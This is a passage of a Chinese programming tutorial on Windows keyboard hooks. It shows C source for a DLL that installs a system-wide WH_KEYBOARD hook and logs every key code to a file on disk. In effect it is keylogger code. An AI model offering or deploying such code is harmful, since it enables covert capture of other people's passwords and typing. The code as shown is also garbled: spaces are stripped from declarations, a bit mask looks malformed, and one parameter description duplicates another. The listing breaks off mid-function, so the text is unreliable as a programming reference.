wParam:传送给钩子进程的wParam参数值,参数值的具体含义与当前钩子链的挂接的钩子类型有关
lParam:传送给钩子进程的wParam参数值,参数值的具体含义与当前钩子链的挂接的钩子类型有关
返回值:返回值是链中下一个钩子进程返回的值,当前钩子进程必须返回这个值,返回值的具体含义与挂接的钩子类型有关,详细信息请参看具体的钩子进程描述。
V建立一个动态连接库(DLL)
当我们熟悉了以上的各个函数后,现在我们开始编写一个动态连接库(DLL)。在这儿我采用的是WIN32DLL,而不是MFCDLL。而且以下所有的
程序也都是采用C语言去编写。这主要是因为使用WIN32API能够更详细、更全面的控制程序的如何执行,而使用MFC,一些低级的控制是不可能实现的
(当然,仅对该程序来说,也是可以使用MFC的)。
1:建立一个动态连接库的.cpp文件。比如我们现在建立一个名为hookdll.cpp的文件。在hookdll.cpp的文件中加上如下内容:
#include<windows.h>
#include"string.h"
#include"stdio.h"
HINSTANCEhInst;
#pragmadata_seg("hookdata")
HHOOKoldkeyhook=0;
#pragmadata_seg()
#pragmacomment(linker,"/SECTION:hookdata,RWS")
#defineDllExportextern"C"__declspec(dllexport)
DllExportLRESULTCALLBACKKeyBoardProc(intnCode,WPARAMwParam,LPARAMlParam);
DllExportvoidInstallHook(intnCode);
DllExportvoidEndHook(void);
BOOLWINAPIDllMain(HINSTANCEhInstance,ULONGWhat,LPVOIDNotUsed)
{
switch(What)
{
caseDLL_PROCESS_ATTACH:
hInst=hInstance;
break;
caseDLL_PROCESS_DETACH:
break;
caseDLL_THREAD_ATTACH:
break;
caseDLL_THREAD_DETACH:
break;
}
return1;
}
voidInstallHook(intnCode)
{
oldkeyhook=SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyBoardProc,hInst,0);
}
DllExportLRESULTCALLBACKKeyBoardProc(intnCode,WPARAMwParam,LPARAMlParam)
{
WPARAMj;
FILE*fp;
if(lParam&080000000)
{
j=wParam;
fp=fopen("c:\\hook\\key.txt","a");
fprintf(fp,"%4d",j);
fclose(fp);
}
returnCallNextHookEx(oldkeyhook,nCode,wParam,lParam);
}
voidEndHook(void)
本文来自电脑杂谈,转载请注明本文网址:
https://www.pc-fly.com/a/jisuanjixue/article-27965-4.html
好甜